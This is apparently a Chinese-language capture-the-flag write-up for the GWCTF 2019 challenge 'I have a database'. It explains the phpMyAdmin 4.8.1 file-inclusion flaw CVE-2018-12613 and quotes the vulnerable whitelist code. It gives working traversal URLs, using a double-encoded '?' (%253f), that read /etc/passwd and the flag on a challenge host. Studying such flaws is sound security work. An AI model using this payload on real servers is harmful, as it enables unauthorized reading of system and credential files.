GWCTF 2019 我有一个数据库 1题解


GWCTF 2019 我有一个数据库 1题解

前置知识

phpmyadmin漏洞

phpadmin

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

漏洞描述

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
影响版本:phpMyAdmin 4.8.0和4.8.1

漏洞分析

摘自:CVE-2018-12613复现
漏洞问题出在index.php的第55行开始位置:
1.target参数没有过滤,并且直接include,很显然是LFI的前奏
2.第57行限制 target 参数不能以index开头
3.第58行限制 target 参数不能出现在 $target_blacklist 内

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

$target_blacklist 的定义:在 /index.php 的第50行,只要 target 参数不是import.php 或 export.php 就行

$target_blacklist = array (
    'import.php', 'export.php'
);

最后一个限制方法,phpMyAdmin/libraries/classes/core.php,找到Core类的checkPageValidity方法

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证。

题目详解

打开题目,发现一串看不懂的文字,扫描目录发现phpadmin,尝试访问,访问成功。发现phpmyadmin的版本是4.8.1。
phpadmin
百度发现该版本下的漏洞CVE-2018-12613。
构造:(../的数量是一个一个试的)

http://35eb61ad-0999-4fc5-8077-aeeefcf7b5c9.node4.buuoj.cn:81/phpmyadmin/?target=db_datadict.php%253f../../../../../../etc/passwd
回显:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 

最后直接构造

http://35eb61ad-0999-4fc5-8077-aeeefcf7b5c9.node4.buuoj.cn:81/phpmyadmin/?target=db_datadict.php%253f../../../../../../flag
回显:flag{4a5bc39b-5683-45b4-86d6-e43b58bfe1a2} 

得到flag:flag{4a5bc39b-5683-45b4-86d6-e43b58bfe1a2}

参考:
https://blog.csdn.net/weixin_43872099/article/details/104128639
https://blog.csdn.net/weixin_43872099/article/details/104128639
http://sunu11.com/2018/07/25/22/
https://www.cnblogs.com/buchuo/p/12784408.html


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !